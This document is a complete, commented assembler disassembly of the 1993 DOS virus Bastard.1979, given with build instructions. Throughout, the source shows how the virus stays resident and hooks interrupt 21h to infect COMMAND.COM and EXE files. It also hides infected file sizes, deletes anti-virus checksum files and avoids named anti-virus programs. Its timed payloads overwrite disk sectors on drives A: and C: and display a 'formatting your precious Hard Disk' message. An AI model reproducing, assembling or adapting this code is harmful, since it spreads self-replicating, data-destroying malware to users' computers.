comment * Bastard.1979 млллллм млллллм млллллм Disassembly by ллл ллл ллл ллл ллл ллл Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл Bastard.1979 is a 1979 bytes resident appending COMMAND.COM and EXE virus. Infects files at open file, delete file, get or set file attributes and load and execute program. Bastard.1979 has an error handler, 8-bit exclusive OR (XOR) encryption in file, retro structures, filesize stealth, tunneling of interrupt 21h and both a destructive and non-destructive payload. To compile Bastard.1979 with Turbo Assembler v 5.0 type: TASM /M BASTARD.ASM TLINK /t /x BASTARD.OBJ * .model tiny .code org 100h ; Origin of Bastard.1979 code_begin: jmp first_genera db 03h dup(?) virus_begin: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) sub ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table mov ax,es:[0feh*04h] ; AX = segment of interrupt 0FEh db 10000011b,11111000b ; CMP AX,40h (opcode 83h,0f8h,40h) db 01000000b ; Already resident? je virus_exit ; Equal? Jump to virus_exit mov ah,30h ; Get DOS version int 21h cmp al,04h ; DOS v 4.xx? jl virus_exit ; Less? Jump to virus_exit push cs:[program_seg] ; Save segment of PSP for current ... pop ax ; Load AX from stack (segment of ...) dec ax ; AX = segment of current Memory C... push ax ; Save AX at stack pop es ; Load ES from stack (AX) sub di,di ; Zero DI cmp byte ptr es:[di],'Z' jne virus_exit ; Not last block in chain? Jump to... mov ax,(data_end-code_begin) mov cl,04h ; Divide by paragraphs shr ax,cl ; AX = length of virus in paragraphs mov bx,es:[di+03h] ; BX = size of memory block in p... sub bx,ax ; BX = new size of memory block in... mov es:[di+03h],bx ; Store new size of memory block i... sub es:[di+12h],ax ; Subtract length of virus in para... push word ptr es:[di+12h] push word ptr es:[di+12h] pop [virus_seg] ; Load segment of virus at top of ... pop es ; Load ES from stack (segment of ...) mov si,100h ; SI = offset of beginning of code push si ; Save SI at stack pop di ; Load DI from stack (SI) mov cx,(code_end-code_begin) cld ; Clear direction flag rep movsb ; Move the virus to top of memory push ds ; Save DS at stack sub ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table les ax,ds:[21h*04h] ; ES:AX = pointer to interrupt 21h mov word ptr ds:[0feh*04h],40h mov bx,es ; BX = segment of interrupt 21h pop ds ; Load DS from stack push [virus_seg] ; Save segment of virus at top of ... pop es ; Load ES from stack (segment of ...) mov word ptr es:[int21_addr__],ax mov word ptr es:[int21_addr__+02h],bx mov word ptr es:[int21_addr_],ax mov word ptr es:[int21_addr_+02h],bx jmp tunneler virus_exit: call decrypt_head push cs:[program_seg] ; Save segment of PSP for current ... pop cs:[program_seg_] ; Load segment of PSP for current ... call restore payload proc near ; Payload of Bastard.1979 mov ah,2ch ; Get system time call int21_simula cmp ch,12h ; Eighteen o'clock? jne no_payload ; Not equal? Jump to no_payload cmp dh,37h ; Fifty-five minutes? je second_paylo ; Not equal? Jump to second_paylo cmp dh,18h ; Twenty-four minutes? jne no_payload ; Not equal? Jump to no_payload mov dx,01h ; DX = starting logical sector number mov cx,64h ; CX = number of sectors to write mov al,00h ; AL = drive number (A:) int 26h popf ; Load flags from stack stc ; Set carry flag ret ; Return no_payload: clc ; Clear carry flag ret ; Return second_paylo: call payload_ endp dos_data_seg dw ? ; Segment of DOS data segment scan_string db 90h,90h,0e8h,0cch,00h db 02h dup(00h) int21_addr dd ? ; Address of interrupt 21h int21_addr_ dd ? ; Address of interrupt 21h int21_simula proc near ; Simulate interrupt 21h pushf ; Save flags at stack call cs:[int21_addr_] ret ; Return endp find_kernel proc near ; Find DOS kernel in High Memory A... push ds ; Save DS at stack mov ax,[di] ; AX = segment of DOS data segment push ax ; Save AX at stack pop ds ; Load DS from stack (AX) sub si,si ; Zero SI mov cx,1388h ; Search through five thousand bytes find_kernel_: lodsb ; AL = byte of DOS data segment cmp al,cs:[di+02h] ; Found DOS kernel? jne not_kernel ; Not equal? Jump to not_kernel call exam_kernel jc found_kerne_ ; Found DOS kernel? Jump to found_... not_kernel: loop find_kernel_ pop ds ; Load DS from stack stc ; Set carry flag ret ; Return endp exam_kernel proc near ; Examine DOS kernel in High Memor... push es cx di si ; Save registers at stack dec si ; SI = offset of DOS kernel add di,02h ; DI = offset of scan_string push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov cx,05h ; Compare five bytes cld ; Clear direction flag rep cmpsb ; Found DOS kernel? pop si di cx es ; Load registers from stack je found_kernel ; Found DOS kernel? Jump to found_... clc ; Clear carry flag ret ; Return found_kernel: dec si ; SI = offset of DOS kernel mov word ptr cs:[int21_addr+02h],si mov word ptr cs:[int21_addr],ds stc ; Set carry flag ret ; Return endp found_kerne_: pop ds ; Load DS from stack clc ; Clear carry flag ret ; Return tunneler: push cs ; Save CS at stack pop ds ; Load DS from stack mov ah,34h ; Get address of InDOS flag int 21h mov [dos_data_seg],es ; Store segment of DOS data segment lea di,dos_data_seg ; DI = offset of dos_data_seg call find_kernel jc exam_i0fbh ; Didn't find DOS kernel? Jump to ... push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push [virus_seg] ; Save segment of virus at top of ... pop es ; Load ES from stack (segment of ...) push word ptr cs:[int21_addr+02h] pop word ptr es:[int21_addr_] push word ptr cs:[int21_addr] pop word ptr es:[int21_addr_+02h] jmp set_vec_i21h exam_i0fbh: sub ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table cmp es:[0fbh*04h],1615h ; Already resident? jne set_vec_i21h ; Not equal? Jump to set_vec_i21h push [virus_seg] ; Save segment of virus at top of ... pop ds ; Load DS from stack (segment of ...) push es:[0fah*04h] ; Save segment of interrupt 0FAh a... pop word ptr [int21_addr_] push es:[0fah*04h+02h] ; Save offset of interrupt 0FAh at... pop word ptr [int21_addr_+02h] set_vec_i21h: push cs:[virus_seg] ; Save segment of virus at top of ... pop es ; Load ES from stack (segment of ...) push ds ; Save DS at stack push es ; Save ES at stack pop ds ; Load DS from stack (ES) lea dx,int21_virus ; DX = offset of int21_virus mov ax,2521h ; Set interrupt vector 21h int 21h pop ds ; Load DS from stack jmp virus_exit db 'This virus was written by Doctor Revenge November 23 - December 29 1993 -Italy-' fcb_stealth: pushf ; Save flags at stack call int21_simula popf ; Load flags from stack test al,al ; Successful? jnz filesiz_exi_ ; Not zero? Jump to filesize_exi_ push ax bx dx si es ds mov ah,51h ; Get current PSP address call int21_simula mov es,bx ES = segment of PSP for current ... cmp bx,es:[16h] ; Parent PSP equal to current PSP? jne filesiz_exit ; Not equal? Jump to filesiz_exit mov si,dx ; SI = offset of unopened FCB mov ah,2fh ; Get Disk Transfer Area (DTA) add... call int21_simula lodsb ; AL = signature for extended FCB sub si,si ; Zero SI inc al ; Extended File Control Block (XFCB)? jnz not_extended ; Not zero? Jump to not_extended add bx,07h ; BX = offset of File Control Bloc... not_extended: mov ax,es:[bx+17h] ; AX = file time db 10000011b,11100000b ; AND AX,1Fh (opcode 83h,0e0h,1fh) db 00011111b db 10000011b,11111000b ; CMP AX,1Eh (opcode 83h,0f80h,1eh) db 00011110b jne filesiz_exit ; Not equal? Jump to filesiz_exit mov ax,es:[bx+1dh] ; AX = low-order word of filesize mov dx,es:[bx+1fh] ; DX = high-order word of filesize sub ax,(code_end-code_begin) sbb dx,00h ; Convert to 32-bit jb filesiz_exit ; Below? Jump to filesiz_exit mov es:[bx+1dh],ax ; Store low-order word of filesize mov es:[bx+1fh],dx ; Store high-order word of filesize filesiz_exit: pop ds es si dx bx ax ; Load registers from stack filesiz_exi_: iret ; Interrupt return int21_virus proc near ; Interrupt 21h of Bastard.1979 cmp ah,43h ; Get or set file attributes je infect_file ; Equal? Jump to infect_file cmp ah,41h ; Delete file? je infect_file ; Equal? Jump to infect_file cmp ah,3dh ; Open file? je infect_file ; Equal? Jump to infect_file cmp ax,4b00h ; Load and execute program? je infect_file ; Equal? Jump to infect_file cmp ah,11h ; Find first matching file (FCB)? je fcb_stealth ; Equal? Jump to fcb_stealth cmp ah,12h ; Find next matching file (FCB)? je fcb_stealth ; Equal? Jump to fcb_stealth jmp int21_exit endp infect_file: cli ; Clear interrupt-enable flag mov cs:[stack_seg],ss ; Store stack segment mov cs:[stack_ptr],sp ; Store stack pointer push cs ; Save CS at stack pop ss ; Load SS from stack (CS) lea sp,stack_ptr_ ; SP = offset of stack_ptr_ sti ; Set interrupt-enable flag push ax bx cx dx bp si di es ds sub ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table les ax,es:[24h*04h] ; ES:AX = pointer to interupt 24h push ax ; Save AX at stack push es ; Save ES at stack pop word ptr cs:[int24_addr] pop word ptr cs:[int24_addr+02h] sub ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table mov es:[24h*04h],offset int24_virus mov es:[24h*04h+02h],cs ; Set interrupt vector 24h push ds ; Save DS at stack pop word ptr cs:[filename_ptr] push dx ; Save DX at stack pop word ptr cs:[filename_ptr+02h] push cs ; Save CS at stack pop ds ; Load DS from stack (CS) call payload jc infect_exit ; Payload? Jump to infect_exit call break_store call infect_file_ call break_load infect_exit: sub ax,ax ; Zero AX push ax ; Save AX at stack pop es ; Load ES from stack (AX) push word ptr [int24_addr] push word ptr [int24_addr+02h] pop es:[24h*04h] ; Load address of interrupt 24h fr... pop es:[24h*04h+02h] ; " " " " " " pop ds es di si bp dx cx bx ax cli ; Clear interrupt-enable flag push cs:[stack_seg] ; Save stack segment at stack pop ss ; Load SS from stack (stack segment) mov sp,cs:[stack_ptr] ; SP = stack pointer sti ; Set interrupt-enable flag int21_exit: jmp cs:[int21_addr__] iret ; Interrupt return infect_com: call examine_file jc infect_exit_ ; Found name? Jump to infect_exit_ push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,3fh ; Read from file mov cx,04h ; Read four bytes lea dx,origin_code ; DX = offset of origin_code mov bx,[file_handle] ; BX = file handle call int21_simula cmp [origin_code+03h],0bh je close_file ; Already infected? Jump to close_... mov ax,word ptr [filesize+02h] db 10000011b,11101000b ; SUB AX,03h (opcode 83h,0e8h,03h) db 00000011b ; AX = offset of virus within infe... mov cs:[virus_offset],ax mov al,00h ; Set current file position (SOF) call set_file_pos mov ah,40h ; Write to file mov cx,04h ; Write four bytes lea dx,infect_code ; DX = offset of infect_code mov bx,[file_handle] ; BX = file handle call int21_simula mov al,02h ; Set current file position (EOF) call set_file_pos mov ah,40h ; Write to file mov cx,(code_end_-code_begin_) mov bx,[file_handle] ; BX = file handle lea dx,code_begin_ ; DX = offset of code_begin_ call int21_simula close_file: call close_file__ jmp infect_exit_ infect_file_ proc near ; Infect EXE file clc ; Set carry flag call examine_nam_ jc infect_com ; COMMAND.COM? Jump to infect_com call examine_ext jc delete_file ; Found file? Jump to delete_file call examine_file jc infect_exit_ ; Found name? Jump to infect_exit_ call read_header jc close_file_ ; Error? Jump to close_file_ call examine_fil_ jc close_file_ ; Don't infect? Jump to close_file_ call header_store call header_load call write_header jc close_file_ ; Error? Jump to close_file_ call write_virus call set_file_inf close_file_: call close_file__ infect_exit_: ret ; Return endp set_file_inf proc near ; Set file's date and time mov dx,[file_date] ; DX = file date mov cx,[file_time] ; CX = file time or cl,00011111b ; Set infection mark (60 seconds) and cl,11111110b ; " " " " " mov bx,[file_handle] ; BX = file handle mov ax,5701h ; Set file's date and time call int21_simula ret ; Return endp examine_name proc near ; Examine the filename push ds ; Save DS at stack push es ; Save ES at stack pop ds ; Load DS from stack (ES) add di,20h ; DI = offset of filename mov si,di ; SI = " " " lodsw ; AX = two bytes of filename pop ds ; Load DS from stack xchg ax,bx ; BX = to bytes of filename push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea si,name_table ; SI = offset of name_table mov cx,(table_end-table_begin)/02h compare_loop: lodsw ; AX = two bytes of name_table cmp ax,bx ; Found name? je found_name ; Equal? Jump to found_name loop compare_loop clc ; Clear carry flag ret ; Return found_name: stc ; Store carry flag ret ; Return endp delete_file: push ds ; Save DS at stack push word ptr [filename_ptr] pop ds ; Load DS from stack (pointer to ...) mov dx,word ptr cs:[filename_ptr+02h] mov ah,41h ; Delete file call int21_simula pop ds ; Load DS from stack jmp infect_exit_ int24_virus proc near ; Interrupt 24h of Bastard.1979 mov al,03h ; AL = fail system call in progress iret ; Interrupt return endp break_state db ? ; Break state break_store proc near ; Get and set extended break state mov ax,3300h ; Get extended break state call int21_simula mov [break_state],dl ; Store break state mov al,01h ; Set extended break state sub dx,dx ; DL = new state (off) call int21_simula ret ; Return endp break_load proc near ; Set extended break state mov ax,3301h ; Set extended break state mov dl,[break_state] ; DL = new state call int21_simula ret ; Return endp examine_file proc near ; Examine the file push ds ; Save DS at stack push word ptr [filename_ptr] pop ds ; Load DS from stack (pointer to ...) mov dx,word ptr cs:[filename_ptr+02h] mov ax,3d00h ; Open file (read) call int21_simula pop ds ; Load DS from stack jc dont_infect ; Error? Jump to dont_infect mov [file_handle],ax ; Store file handle xchg ax,bx ; BX = file handle mov ax,1220h ; Get system file table number int 2fh mov bl,es:[di] ; BL = system file table entry mov ax,1216h ; Get address of system FCB int 2fh push es di ; Save registers at stack call examine_name pop di es ; Load registers from stack jc dont_infect ; Found name? Jump to dont_infect mov word ptr es:[di+02h],02h mov ah,es:[di+04h] ; AH = file attributes mov [file_attr],ah ; Store file attributes push es:[di+0fh] ; Save file date at stack pop [file_date] ; Load file date from stack push es:[di+0dh] ; Save file time at stack pop [file_time] ; Load file time from stack mov byte ptr es:[di+04h],00100000b push es:[di+11h] ; Save low-order word of filesize ... pop word ptr [filesize+02h] mov ax,0bb8h ; Three thousand bytes? cmp ax,word ptr [filesize+02h] ja dont_infect ; Filesize too large? Jump to dont... push es:[di+13h] ; Save high-order word of filesize... pop word ptr [filesize] ; Load high-order word of filesize... clc ; Clear carry flag ret ; Return dont_infect: stc ; Store carry flag ret ; Return endp read_header proc near ; Read header from file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,3fh ; Read from file mov bx,[file_handle] ; BX = file handle mov cx,1ch ; Read twenty-eight bytes lea dx,file_header ; DX = offset of file_header call int21_simula clc ; Clear carry flag ret ; Return endp examine_fil_ proc near ; Examine the file push ds ; Save DS at stack call find_dot jc dont_infec ; Didn't find dot? Jump to dont_in... lodsw ; AX = two byts of file extension cmp ax,'XE' ; EXE executable? jne dont_infec ; Not equal? Jump to dont_infec lodsb ; AL = one byte of file extension cmp al,'E' ; EXE executable? jne dont_infec ; Not equal? Jump to dont_infec pop ds ; Load DS from stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) cmp word ptr [file_header],'ZM' jne dont_infect_ ; EXE sginature? Jump to dont_infect_ cmp word ptr [file_header+12h],'WC' jne do_infect ; Already infected? Jump to do_infect dont_infect_: stc ; Set carry flag ret ; Return dont_infec: pop ds ; Load DS from stack stc ; Set carry flag ret ; Return do_infect: clc ; Clear carry flag ret ; Return endp header_load proc near ; Load EXE header push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,word ptr [filesize+02h] mov dx,word ptr [filesize] mov [file_padding],00h ; Zero length of file padding mov cx,10h ; Divide by paragraphs div cx ; AX:DX = filesize in paragraphs cmp dx,00h ; No file padding? je no_padding ; Equal? Jump to no_padding mov ax,10h ; AX = length of file padding sub ax,dx ; Subtact low-order word of filesi... add word ptr [filesize+02h],ax mov [file_padding],ax ; Store length of file padding no_padding: mov ax,word ptr [filesize+02h] mov dx,word ptr [filesize] mov cx,10h ; Divide by paragraphs div cx ; AX:DX = filesize in paragraphs db 10000011b,11101000b ; SUB AX,10h (opcode 83h,0e8h,10h) db 00010000b ; Subtract one paragraph from file... sub ax,word ptr [file_header+08h] mov word ptr [file_header+14h],100h mov word ptr [file_header+10h],2000h mov word ptr [file_header+12h],'WC' mov word ptr [file_header+0ch],0ffffh mov word ptr [file_header+16h],ax mov word ptr [file_header+0eh],ax mov ax,word ptr [filesize+02h] mov dx,word ptr [filesize] add ax,(code_end-code_begin) adc dx,00h ; DX:AX = filesize mov bx,200h ; Divide by pages div bx ; AX:DX = filesize by pages inc ax ; Increase total number of 512-byt... mov word ptr [file_header+04h],ax mov word ptr [file_header+02h],dx ret ; Return endp write_header proc near ; Write header to file sub ax,ax ; Set current file position (SOF) call set_file_pos mov ah,40h ; Write to file mov cx,1ch ; Write twenty-eight bytes lea dx,file_header ; DX = offset of file_header mov bx,[file_handle] ; BX = file handle call int21_simula clc ; Clear carry flag ret ; Return stc ; Set carry flag ret ; Return endp header_store proc near ; Store EXE header push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,word ptr [file_header+0eh] mov [initial_ss],ax ; Store initial SS relative to sta... mov ax,word ptr [file_header+10h] mov [initial_sp],ax ; Store initial SP mov ax,word ptr [file_header+14h] mov [initial_ip],ax ; Store initial IP mov ax,word ptr [file_header+16h] mov [initial_cs],ax ; Store initial CS relative to sta... call encrypt_head ret ; Return endp write_virus proc near ; Write virus to file mov al,02h ; Set current file position (EOF) call set_file_pos mov ah,40h ; Write to file mov cx,[file_padding] ; CX = number of bytes to write sub dx,dx ; Zero DX mov bx,[file_handle] ; BX = file handle call int21_simula mov ah,40h ; Write to file mov bx,[file_handle] ; BX = file handle mov cx,(code_end-code_begin) mov dx,100h ; DX = offset of beginning of code call int21_simula ret ; Return endp close_file__ proc near ; Close file mov ah,3eh ; Close file mov bx,[file_handle] ; BX = file handle call int21_simula ret ; Return endp find_dot proc near ; Find the dot in the filename push word ptr [filename_ptr] pop ds ; Load DS from stack (pointer to ...) mov si,word ptr cs:[filename_ptr+02h] cld ; Clear direction flag mov cx,80h ; Search through hundred and twent... find_dot_: lodsb ; AL = byte of file extension cmp al,'.' ; Dot? je found_dot ; Equal? Jump to found_dot loop find_dot_ stc ; Set carry flag ret ; Return found_dot: clc ; Clear carry flag ret ; Return endp set_file_pos proc near ; Set current file position push ax bx cx dx ; Save registers at stack mov ah,42h ; Set current file position sub cx,cx ; Zero CX xor dx,dx ; Zero DX mov bx,cs:[file_handle] ; BX = file handle call int21_simula pop dx cx bx ax ; Load registers from stack ret ; Return endp restore proc near ; Restore the infected file mov ax,cs:[program_seg_] mov ds,ax ; DS = segment of PSP for current ... push ds ; Save DS at stack pop es ; Load ES from stack (DS) mov dx,ds ; DX = segment of PSP for current ... add dx,10h ; DX = segment of beginning of code mov cx,dx ; CX = " " " " " add dx,cs:[initial_ss] ; Add initial SS relative to start... cli ; Clear interrupt-enable flag push dx ; Save DX at stack pop ss ; Load SS from stack (DX) mov sp,cs:[initial_sp] ; SP = initial SP sti ; Set interrupt-enable flag add cx,cs:[initial_cs] ; Add initial CS relative to start... push cx ; Save CX at stack push cs:[initial_ip] ; Save initial IP at stack retf ; Return far endp examine_nam_ proc near ; Examine the filename push es ds ; Save registers at stack call find_dot sub si,08h ; SI = offset of filename push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea di,command_com ; DI = offset of command_com mov cx,0bh ; Compare eleven bytes rep cmpsb ; COMMAND.COM? pop ds es ; Load registers from stack jne not_command ; Not equal? Jump to not_command stc ; Set carry flag ret ; Return not_command: clc ; Set carry flag ret ; Return endp examine_ext proc near ; Examine the file extension push ds ; Save DS at stack call find_dot lodsw ; AX = two bytes of file extension cmp ax,'SM' ; Microsoft Anti-Virus checksum file? je found_ext ; Equal? Jump to found_ext cmp ax,'PC' ; Central Point Anti-Virus checks...? je found_ext ; Equal? Jump to found_ext jmp not_found found_ext: pop ds ; Load DS from stack stc ; Set carry flag ret ; Return not_found: pop ds ; Load DS from stack clc ; Clear carry flag ret ; Return endp code_begin_: call delta_offset delta_offset: pop si ; Load SI from stack sub si,(delta_offset-code_begin_) mov ax,3521h ; Get interrupt vector 21j int 21h mov cx,es ; CX = segment of interrupt 21h sub ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table mov ax,1615h ; Already resident cmp ax,es:[0fbh*04h] ; Already resident? je virus_exit_ ; Equal? Jump to virus_exit_ mov es:[0fbh*04h],ax ; Already resident mov es:[0fah*04h],bx ; Store offset of interrupt 21h mov es:[0fah*04h+02h],cx virus_exit_: push cs ; Save CS at stack pop ds ; Load DS from stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov cx,04h ; Move four bytes add si,(origin_code-code_begin_) mov di,100h ; DI = offset of beginning of code rep movsb ; Move the original code to beginning mov ax,100h ; AX = offset of beginning of code push cs ax ; Save registers at stack retf ; Return far origin_code db 04h dup(?) ; Original code of infected file encrypt_head proc near ; Encrypt EXE header push cs ; Save CS at stack pop es ; Load ES from stack (CS) in al,40h ; AL = 8-bit random number mov [crypt_key],al ; Store encryption/decryption key lea si,exe_header ; SI = offset of exe_header mov di,si ; DI = " " " mov cx,(crypt_end-crypt_begin) encrypt_loop: lodsb ; AL = one byte of plain code xor al,[crypt_key] ; Encrypt one byte of plain code stosb ; Store one byte of encrypted code loop encrypt_loop ret ; Return endp decrypt_head proc near ; Decrypt EXE header push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea si,exe_header ; SI = offset of exe_header mov di,si ; DI = " " " mov cx,(crypt_end-crypt_begin) mov bh,cs:[crypt_key] ; BH = encryption/decryption key decrypt_loop: lodsb ; AL = one byte of encrypted code xor al,bh ; Decrypt one byte of encrypted code stosb ; Store one byte of decrypted code loop decrypt_loop ret ; Return endp decrypt_mesg proc near ; Decrypt message push ds es si di ; Save registers at stack push cs cs ; Save segments at stack pop ds es ; Load segments from stack (CS) mov cx,(messag_end-messag_begin) lea si,message ; SI = offset of message mov di,si ; DI = " " " cld ; Clear direction flag decrypt_loo_: lodsb ; AL = one byte of encrypted message xor al,0cch ; Decrypt one byte of message stosb ; Store one byte of decrypted message loop decrypt_loo_ pop di si es ds ; Load registers from stack ret ; Return endp file_header db 1ch dup(?) ; File header crypt_begin: exe_header: initial_cs dw 0fff0h ; Initial CS relative to start of ... initial_ss dw ? ; Initial SS relative to start of ... initial_ip dw ? ; Initial IP initial_sp dw ? ; Initial SP crypt_end: program_seg dw ? ; Segment of PSP for current proce... db 00h virus_seg dw ? ; Segment of virus at top of memory program_seg_ dw ? ; Segment of PSP for current proce... command_com db 'COMMAND.COM' int21_addr__ dd ? ; Address of interrupt 21h code_end_ equ $+01h stack_seg dw ? ; Stack segment stack_ptr dw ? ; Stack pointer db 08h dup(00h) int24_addr dd ? ; Address of interrupt 24h db 00h file_handle dw ? ; File handle filename_ptr dd ? ; Pointer to filename filesize dd ? ; Filesize file_padding dw ? ; Length of file padding table_begin: name_table db 'SC' ; McAfee ViruScan db 'CL' ; " " db 'F-' ; F-PROT db 'TB' ; ThunderByte Anti-Virus db 'VS' ; Vsafe db 'VI' ; VIRSTOP db 'IM' ; Integrity Master db 'MS' ; Microsoft Anti-Virus db 'CV' ; CVInfo db ' ' table_end: virus_offset equ word ptr $+01h ; Offset of virus within infected ... infect_code db 11101001b,?,?,0bh ; JMP imm16 (opcode 0e9h) file_date dw ? ; File date file_time dw ? ; File time file_attr db ? ; File attributes crypt_key db ? ; Encryption/decryption key messag_begin: message: bastar_begin: bastard___vi db 'BASTARD!! Virus ' bastar_end: copyright__c db 'CopyRight (c) 1993-94 by Doctor Revenge-Italy-' please_begin: please_wait_ db 'Please wait,formatting your precious Hard Disk...' please_end: messag_end: payload_ proc near ; Payload of Bastard.1979 nop nop call decrypt_mesg mov ah,06h ; Scroll up window mov al,00h ; Clear entire window mov bh,77h ; BH = attribute used to write bla... mov ch,0ah ; CH = row of window's upper left ... mov cl,0fh ; CL = column of window's upper le... mov dh,12h ; DL = row of window's lower right... mov dl,41h ; DH = column of window's lower ri... int 10h mov bh,00h ; BH = attribute used to write bla... mov ch,0bh ; CH = row of window's upper left ... mov cl,10h ; CL = column of window's upper le... mov dh,0fh ; DL = row of window's lower right... mov dl,40h ; DH = column of window's lower ri... int 10h mov ah,13h ; Write string mov al,00h ; AL = write mode mov bh,00h ; BH = page number mov bl,0bh ; BL = attribute if string contain... mov dh,0ch ; DH = row at which to start writing mov dl,12h ; DL = column at which to start wr... push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea bp,bastard___vi ; BP = offset of bastard___vi mov cx,(bastar_end-bastar_begin) int 10h inc dh ; Increase row at which to start w... inc dh ; Increase row at which to start w... lea bp,copyright__c ; BP = offset of copyright__c int 10h add dh,03h ; Add three to row at which to sta... lea bp,please_wait_ ; BP = offset of please_wait_ dec dl ; Decrease column at which to star... dec dl ; Decrease column at which to star... mov bl,70h ; BL = attribute if string contain... mov cx,(please_end-please_begin) int 10h mov al,02h ; AL = drive number (C:) mov dx,03h ; DX = starting logical sector num... mov cx,64h ; CX = number of sectors to write int 26h eternal_loop: jmp eternal_loop endp code_end: db 0b4h dup(?) ; Stack stack_ptr_: db 155h dup(?) data_end: first_genera: cld ; Clear direction flag mov cx,(origin_end-origin_begin) mov di,100h ; DI = offset of beginning of code lea si,origin_code_ ; SI = offset of origin_code_ rep movsb origin_begin: origin_code_: push ds ; Save DS at stack pop cs:[program_seg] ; Load segment of PSP for current ... origin_end: call decrypt_mesg jmp virus_begin end code_begin